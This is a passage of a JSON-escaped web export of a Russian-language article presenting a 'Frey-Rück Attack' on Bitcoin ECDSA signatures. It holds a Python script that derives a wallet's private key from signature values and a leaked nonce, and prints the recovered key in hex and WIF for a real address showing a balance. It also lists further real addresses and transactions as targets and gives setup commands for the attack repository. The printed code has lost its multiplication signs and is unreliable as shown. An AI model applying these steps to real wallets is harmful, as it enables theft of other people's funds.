data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d19\/367\/f15\/d19367f15267d0b8a40599a53f3eb7b5.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>(0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e , 0x41034db92068cdccccf81bf9d103a8abe6f64f4df764b3fb2962fdf7ff86fa0d)<\/code><\/p>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u044b \u0442\u043e\u0447\u043a\u0438\u00a0<code>EC (secp256k1)\u00a0<\/code>\u0441 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b\u00a0<code>R<\/code><\/p>\n<pre><code>R = 0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e S = 0x01bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc Z = 0x74bd6032e6bfd019a0760d799efc145c34b9a5d58e9f974f9a60756890dc6288<\/code><\/pre>\n<hr\/>\n<pre><code>R          =    0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e point2gen  =   (0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e , 0x41034db92068cdccccf81bf9d103a8abe6f64f4df764b3fb2962fdf7ff86fa0d) <\/code><\/pre>\n<p><code>\u0412\u0421\u0415 \u0412\u0415\u0420\u041d\u041e!<\/code><\/p>\n<p><code>K = 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u043d\u0430\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043a \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u044c\u043a\u0443:\u00a0<code>19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac<\/code><\/p>\n<hr\/>\n<h3>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f\u00a0Python-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c:\u00a0calculate.py\u00a0> > > \u041f\u043e\u043b\u0443\u0447\u0438\u043c \u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u041a\u043b\u044e\u0447<\/h3>\n<hr\/>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u043a\u043e\u0434 \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0432\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u00a0<code>K, R, S, Z<\/code><\/p>\n<pre><code>def h(n): return hex(n).replace(\"0x\",\"\") def extended_gcd(aa, bb): lastremainder, remainder = abs(aa), abs(bb) x, lastx, y, lasty = 0, 1, 1, 0 while remainder: lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) x, lastx = lastx - quotientx, x y, lasty = lasty - quotienty, y return lastremainder, lastx * (-1 if aa &lt; 0 else 1), lasty * (-1 if bb &lt; 0 else 1) def modinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise ValueError return x % m N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 K = 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99 R = 0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e S = 0x01bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc Z = 0x74bd6032e6bfd019a0760d799efc145c34b9a5d58e9f974f9a60756890dc6288 print (h((((S * K) - Z) * modinv(R,N)) % N))<\/code><\/pre>\n<h3>\u0421\u043a\u0440\u0438\u043f\u0442 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043f\u043e \u0444\u043e\u0440\u043c\u0443\u043b\u0435:<\/h3>\n<p><code>Privkey = ((((S * K) - Z) * modinv(R,N)) % N)<\/code><\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442:<\/p>\n<pre><code>python3 calculate.py<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/c42\/806\/95d\/c4280695d8f6e446e9dce11a176310bd.png\" alt=\"\" title=\"\" width=\"750\" height=\"292\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/c42\/806\/95d\/c4280695d8f6e446e9dce11a176310bd.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>PrivKey = 4c708ac0c78e07552f14544758031d2ad9d0baee702b5b163b97f1e7200c007b<\/code><\/p>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c\u00a0<a href=\"https:\/\/cryptodeep.ru\/bitaddress.html\" rel=\"noopener noreferrer nofollow\"><strong><u>bitaddress<\/u><\/strong><\/a>\u00a0\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c:<\/p>\n<pre><code>ADDR: 19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac WIF:  KynJKoLwF9vk8yV5HaEybRcmjQhV938rjKt5kV6A7omrVipvk9ve HEX:  4c708ac0c78e07552f14544758031d2ad9d0baee702b5b163b97f1e7200c007b<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/350\/63a\/60e\/35063a60e287b6b7c1e86ee57dc57ba2.png\" alt=\"\" title=\"\" width=\"830\" height=\"830\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/350\/63a\/60e\/35063a60e287b6b7c1e86ee57dc57ba2.png\"\/><figcaption><\/figcaption><\/figure>\n<hr\/>\n<p><a href=\"https:\/\/www.blockchain.com\/btc\/address\/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac\" rel=\"noopener noreferrer nofollow\"><strong><u>https:\/\/www.blockchain.com\/btc\/address\/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac<\/u><\/strong><\/a><\/p>\n<hr\/>\n<p><code>\u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043d\u0430\u0439\u0434\u0435\u043d!<\/code><\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f2a\/6f8\/06e\/f2a6f806ea59664ae04ff94425f8e63b.png\" alt=\"www.blockchain.com\/btc\/address\/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac\" title=\"www.blockchain.com\/btc\/address\/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac\" width=\"1024\" height=\"444\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f2a\/6f8\/06e\/f2a6f806ea59664ae04ff94425f8e63b.png\"\/><figcaption>www.blockchain.com\/btc\/address\/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac<\/figcaption><\/figure>\n<p><code>BALANCE: $ 702.32<\/code><\/p>\n<hr\/>\n<p><a href=\"https:\/\/github.com\/demining\/CryptoDeepTools\/tree\/main\/14FreyRuckAttack\" rel=\"noopener noreferrer nofollow\"><strong><u>\u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/attacksafe.ru\/software\" rel=\"noopener noreferrer nofollow\"><strong><u>ATTACKSAFE SOFTWARE<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/t.me\/cryptodeeptech\" rel=\"noopener noreferrer nofollow\"><strong><u>Telegram: https:\/\/t.me\/cryptodeeptech<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/youtu.be\/wqHES7r1qyc\" rel=\"noopener noreferrer nofollow\"><strong><u>\u0412\u0438\u0434\u0435\u043e\u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b: https:\/\/youtu.be\/wqHES7r1qyc<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/cryptodeep.ru\/frey-ruck-attack\" rel=\"noopener noreferrer nofollow\"><strong><u>\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https:\/\/cryptodeep.ru\/frey-ruck-attack<\/u><\/strong><\/a><\/p>\n<hr\/>\n<div class=\"tm-iframe_temp\" data-src=\"https:\/\/embedd.srv.habr.com\/iframe\/634eae9a9fd9c5cec259a52f\" data-style=\"\" id=\"634eae9a9fd9c5cec259a52f\" width=\"\"><\/div>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"v-portal\" style=\"display:none;\"><\/div>\n<\/div>\n<p> <!----> <!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/post\/694122\/\"> https:\/\/habr.com\/ru\/post\/694122\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u00a0<a href=\"https:\/\/attacksafe.ru\/frey-ruck-attack-on-bitcoin\/\" rel=\"noopener noreferrer nofollow\"><u>Frey-R\u00fcck Attack<\/u><\/a>\u00a0\u0434\u043b\u044f \u043f\u043e\u0434\u043f\u0438\u0441\u0438\u00a0<code>ECDSA<\/code>\u00a0\u0432 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430. \u0412 \u043d\u0430\u0448\u0438\u0445 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f\u0445 \u043c\u044b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u043b\u0438 \u0442\u0435\u043c\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438\u00a0<code>ECDSA<\/code>. \u041f\u0440\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0440\u0435\u0448\u0438\u0442\u044c \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443 \u0434\u0438\u0441\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043b\u043e\u0433\u0430\u0440\u0438\u0444\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0438\u00a0<code>ECDSA<\/code>\u00a0<em>\u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447\u00a0<\/em><code>\"K\" (NONCE)<\/code>, \u0447\u0442\u043e\u0431\u044b \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u0435\u043a, \u0442\u0430\u043a \u043a\u0430\u043a \u0437\u043d\u0430\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447.<\/p>\n<p>\u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u043e\u0432 \u0438\u0437\u00a0<a href=\"https:\/\/attacksafe.ru\/list-of-bitcoin-attacks\/\" rel=\"noopener noreferrer nofollow\"><strong><u>\u0441\u043f\u0438\u0441\u043a\u0430 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d<\/u><\/strong><\/a>, \u043e\u0434\u0438\u043d \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445\u00a0<a href=\"https:\/\/attacksafe.ru\/frey-ruck-attack-on-bitcoin\/\" rel=\"noopener noreferrer nofollow\"><strong><u>\u201cFrey-R\u00fcck Attack on Bitcoin\u201d<\/u><\/strong><\/a>.<\/p>\n<figure class=\"full-width\"><figcaption>www.attacksafe.ru\/frey-ruck-attack-on-bitcoin<\/figcaption><\/figure>\n<h3>\u041c\u044b \u043d\u0435 \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0433\u0440\u0443\u0436\u0430\u0442\u044c\u0441\u044f \u0432 \u0442\u0435\u043e\u0440\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0430\u0441\u043f\u0435\u043a\u0442\u044b \u0434\u0430\u043d\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u0441\u0440\u0430\u0437\u0443 \u043a \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0439 \u0447\u0430\u0441\u0442\u0438<\/h3>\n<p><a href=\"https:\/\/cryptodeep.ru\/publication\" rel=\"noopener noreferrer nofollow\">\u0418\u0437 \u043d\u0430\u0448\u0435\u0439 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u043d\u0430\u043c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e<\/a> \u0447\u0442\u043e \u0432 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0435 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430 \u043e\u0447\u0435\u043d\u044c \u043c\u043d\u043e\u0433\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0438 \u0441\u043b\u0430\u0431\u044b\u0445 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0438 <a href=\"https:\/\/cryptodeep.ru\/publication\" rel=\"noopener noreferrer nofollow\">\u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u043d\u0430\u0448\u0435\u0433\u043e \u043a\u0440\u0438\u043f\u0442\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0430<\/a> \u043c\u044b \u043d\u0430\u0448\u043b\u0438 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u043e\u0432, \u0433\u0434\u0435 \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043f\u043e\u0434\u043f\u0438\u0441\u0438\u00a0<code>ECDSA<\/code>\u00a0\u0431\u044b\u043b\u0438 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u044b \u0441 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c\u00a0<em>\u0441\u0435\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430<\/em>\u00a0<code>\"K\" (NONCE).<\/code><\/p>\n<hr\/>\n<h3>\u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043f\u044f\u0442\u044c \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u043e\u0432:<\/h3>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG\" rel=\"noopener noreferrer nofollow\"><strong><u>16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5\" rel=\"noopener noreferrer nofollow\"><strong><u>1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2\" rel=\"noopener noreferrer nofollow\"><strong><u>16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q\" rel=\"noopener noreferrer nofollow\"><strong><u>12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac\" rel=\"noopener noreferrer nofollow\"><strong><u>19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac<\/u><\/strong><\/a><\/p>\n<\/blockquote>\n<hr\/>\n<h3>\u041a\u0430\u0436\u0434\u044b\u0439 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441 \u0441\u043e\u0432\u0435\u0440\u0448\u0438\u043b \u043f\u043e \u0434\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438:<\/h3>\n<hr\/>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG\" rel=\"noopener noreferrer nofollow\"><strong><u>16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/a575ef45375f85d6d3c010dae01df1479e2e0c5b870b80ee757fc2522057db72\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/a575ef45375f85d6d3c010dae01df1479e2e0c5b870b80ee757fc2522057db72<\/u><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<hr\/>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5\" rel=\"noopener noreferrer nofollow\"><strong><u>1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/fed0b3472341788b58798d6a124a4d0c66c86535ae5f640cb7e5ba0e175665fb\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/fed0b3472341788b58798d6a124a4d0c66c86535ae5f640cb7e5ba0e175665fb<\/u><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<hr\/>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2\" rel=\"noopener noreferrer nofollow\"><strong><u>16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/c393f6b4651ac109cf90476bab878df624a1867c616a8cd69d0710e7676cd6d4\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/c393f6b4651ac109cf90476bab878df624a1867c616a8cd69d0710e7676cd6d4<\/u><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<hr\/>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q\" rel=\"noopener noreferrer nofollow\"><strong><u>12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/ac6259da5eb98bf11b5cda804175ac666ebd1b7118da51d206936b43cb368542\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/ac6259da5eb98bf11b5cda804175ac666ebd1b7118da51d206936b43cb368542<\/u><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac\" rel=\"noopener noreferrer nofollow\"><strong><u>19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/492955688cff583fa5b6677bcb9a90a3010925f7e2204fd464e0e7183a6954db\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/492955688cff583fa5b6677bcb9a90a3010925f7e2204fd464e0e7183a6954db<\/u><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<hr\/>\n<h3>\u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u201cK\u201d (NONCE) \u0432 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0435 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430<\/h3>\n<hr\/>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c\u00a0<a href=\"https:\/\/github.com\/demining\/TerminalGoogleColab\" rel=\"noopener noreferrer nofollow\"><strong><u>[TerminalGoogleColab]<\/u><\/strong><\/a>.<\/p>\n<p>\u0420\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u00a0<a href=\"https:\/\/attacksafe.ru\/frey-ruck-attack-on-bitcoin\/\" rel=\"noopener noreferrer nofollow\"><strong><u>Frey-R\u00fcck Attack<\/u><\/strong><\/a>\u00a0\u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u0430\u0448\u0435\u0439 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\u00a0<a href=\"https:\/\/github.com\/demining\/CryptoDeepTools\/tree\/main\/14FreyRuckAttack\" rel=\"noopener noreferrer nofollow\"><strong><u>14FreyRuckAttack<\/u><\/strong><\/a><\/p>\n<pre><code>git clone https:\/\/github.com\/demining\/CryptoDeepTools.git cd CryptoDeepTools\/14FreyRuckAttack\/ ls<\/code><\/pre>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<h4>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u0432\u0441\u0435 \u043d\u0443\u0436\u043d\u044b\u0435 \u043d\u0430\u043c \u043f\u0430\u043a\u0435\u0442\u044b<\/h4>\n<figure class=\"\"><figcaption>requirements.txt<\/figcaption><\/figure>\n<pre><code>wget https:\/\/bootstrap.pypa.io\/pip\/2.7\/get-pip.py sudo python2 get-pip.py pip2 install -r requirements.txt<\/code><\/pre>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<hr\/>\n<h3>\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043c RawTX \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438<\/h3>\n<hr\/>\n<h3><\/h3>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG\" rel=\"noopener noreferrer nofollow\"><strong><u>16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/a575ef45375f85d6d3c010dae01df1479e2e0c5b870b80ee757fc2522057db72\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/a575ef45375f85d6d3c010dae01df1479e2e0c5b870b80ee757fc2522057db72<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<pre><code>RawTX = 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000 <\/code><\/pre>\n<h3>\u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 R, S, Z \u0438\u0437 \u0432\u0441\u0435\u0445 